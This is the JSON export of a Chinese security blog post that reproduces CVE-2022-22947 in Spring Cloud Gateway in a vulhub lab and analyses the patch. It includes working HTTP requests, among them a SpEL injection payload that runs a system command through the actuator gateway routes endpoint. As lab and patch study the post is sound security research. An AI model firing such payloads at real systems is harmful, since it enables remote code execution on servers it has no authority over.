{"id":811,"date":"2024-06-23T12:57:07","date_gmt":"2024-06-23T12:57:07","guid":{"rendered":"http:\/\/www.nokws.top\/?p=811"},"modified":"2024-06-23T12:57:08","modified_gmt":"2024-06-23T12:57:08","slug":"spring-cloud-gateway-cve-2022-22947-yuanchengdaimazhixing","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2024\/06\/23\/spring-cloud-gateway-cve-2022-22947-yuanchengdaimazhixing\/","title":{"rendered":"Spring Cloud Gateway CVE-2022-22947 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"content":{"rendered":"\n

0x01 \u6f0f\u6d1e\u590d\u73b0<\/h2>\n\n\n\n

\u73af\u5883\uff1avulhub\/spring\/CVE-2022-22947<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6b65\u9aa4\uff1a<\/p>\n\n\n\n

1\u3001\u65b0\u5efa\u8def\u7531<\/p>\n\n\n\n

\u89c4\u5219<\/p>\n\n\n\n

{\n  \"id\": \"first_route\",\n  \"predicates\": [{\n    \"name\": \"Path\",\n    \"args\": {\"_genkey_0\":\"\/first\"}\n  }],\n  \"filters\": [],\n  \"uri\": \"https:\/\/www.uri-destination.org\",\n  \"order\": 0\n}]<\/code><\/code><\/pre>\n\n\n\n
\u8def\u5f84<\/td>\u7c7b\u578b<\/td>\u63cf\u8ff0<\/td><\/tr>
id<\/td>\u5b57\u7b26\u4e32<\/td>\u8def\u7531ID<\/td><\/tr>
predicates<\/td>\u6570\u7ec4<\/td>\u8def\u7531\u65ad\u8a00\u7684\u96c6\u5408\u3002\u6bcf\u9879\u90fd\u5b9a\u4e49\u7ed9\u65ad\u8a00\u7684\u540d\u79f0\u548c\u53c2\u6570<\/td><\/tr>
filters<\/td>\u6570\u7ec4<\/td>\u5e94\u7528\u4e8e\u8def\u7531\u7684\u7b5b\u9009\u5668\u96c6\u5408<\/td><\/tr>
url<\/td>\u5b57\u7b26\u4e32<\/td>\u8def\u7531\u7684\u76ee\u6807url<\/td><\/tr>
order<\/td>\u6570<\/td>\u8def\u7531\u987a\u5e8f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\"\"<\/p>\n\n\n\n
POST \/actuator\/gateway\/routes\/hacktest HTTP\/1.1\nHost: localhost:8080\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nAccept-Language: en\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36\nConnection: close\nContent-Type: application\/json\nContent-Length: 333\n\n{\n  \"id\": \"hacktest\",\n  \"filters\": [{\n    \"name\": \"AddResponseHeader\",\n    \"args\": {\n      \"name\": \"Result\",\n      \"value\": \"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"id\\\"}).getInputStream()))}\"\n    }\n  }],\n  \"uri\": \"http:\/\/example.com\"\n}<\/code><\/pre>\n\n\n\n
2\u3001\u5237\u65b0\u8def\u7531<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
POST \/actuator\/gateway\/refresh HTTP\/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: \/<\/em>
Accept-Language: en
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36
Connection: close
Content-Type: application\/x-www-form-urlencoded
Content-Length: 2<\/code><\/pre>\n\n\n\n
3\u3001\u8bbf\u95ee\u8def\u7531\"\"<\/p>\n\n\n\n
GET \/actuator\/gateway\/routes\/hacktest HTTP\/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: \/<\/em>
Accept-Language: en
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36
Connection: close
Content-Type: application\/x-www-form-urlencoded
Content-Length: 4<\/code><\/pre>\n\n\n\n
4\u3001\u5220\u9664\u8def\u7531<\/p>\n\n\n\n
0x02 \u6f0f\u6d1e\u5206\u6790<\/h2>\n\n\n\n
\u67e5\u770b\u5f00\u53d1\u5982\u4f55\u4fee\u590d\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e3b\u8981\u662f\u5c06\u00a0StandardEvaluationContext\u66ff\u6362\u6210GatewayEvaluationContext\u3002<\/p>\n\n\n\n
GatewayEvaluationContext\u901a\u8fc7delegate\u5b9e\u73b0\u4e86\u63a5\u53e3EvaluationContext\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7\u5bf9\u5b98\u65b9\u6587\u6863\u7684\u8bf4\u660e\uff0cSpring Cloud Gateway \u4e2d\u6587\u6587\u6863 (springdoc.cn)<\/a>\uff0c\u53bb\u5bfb\u627eactuator\uff08\u6216\u8005actuate\uff09\u76f8\u5173\u7684\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e0a\u9762\u6839\u636e\u7c7b\u7684\u7ee7\u627f\u5173\u7cfb\u4e00\u8def\u627e\u5230\u4e86GatewayControllerEndpoint<\/p>\n\n\n\n
\u627egetroutes<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6700\u540e\u627e\u5230\u4e86getRoutes<\/p>\n\n\n\n
\u5982\u679c\u5229\u7528\u8c03\u8bd5+\u6253\u65ad\u70b9\uff0c\u6700\u540e\u53ef\u4ee5\u786e\u5b9a\u53d8\u91cf\u7684\u4f20\u9012\u662floadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()<\/p>\n\n\n\n
0x03 StandardEvaluationContext \u548c GateEvaluationContext<\/h2>\n\n\n\n
1\u3001SpEL\u89e3\u6790\u5668\u7684\u4e0d\u540c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
GateEvalutionContext\u4e2d\u7684\u89e3\u6790\u5668\u8bbe\u7f6e<\/p>\n\n\n\n
2\u3001\u53ea\u8bfb\u7684SpEL\u8868\u8fbe\u5f0f<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
0x04 \u53c2\u8003<\/h2>\n\n\n\n
SpEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u5b66\u4e60\u548c\u56de\u663epoc\u7814\u7a76 – bitterz – \u535a\u5ba2\u56ed (cnblogs.com)<\/a><\/p>\n\n\n\n
CVE-2022-22947 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\u5206\u6790 – FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n\n\n\n
Spring Cloud Gateway \u4e2d\u6587\u6587\u6863 (springdoc.cn)<\/a><\/p>\n\n\n\n
Updates ShortcutConfigurable to use custom EvaluationContext. \u00b7 spring-cloud\/spring-cloud-gateway@337cef2 (github.com)<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
0x01 \u6f0f\u6d1e\u590d\u73b0 \u73af\u5883\uff1avulhub\/spring\/CVE-2022-22947 \u6b65\u9aa4\uff1a 1\u3001\u65b0\u5efa\u8def\u7531 \u89c4\u5219 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-811","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=811"}],"version-history":[{"count":1,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/811\/revisions"}],"predecessor-version":[{"id":825,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/811\/revisions\/825"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=811"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=811"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}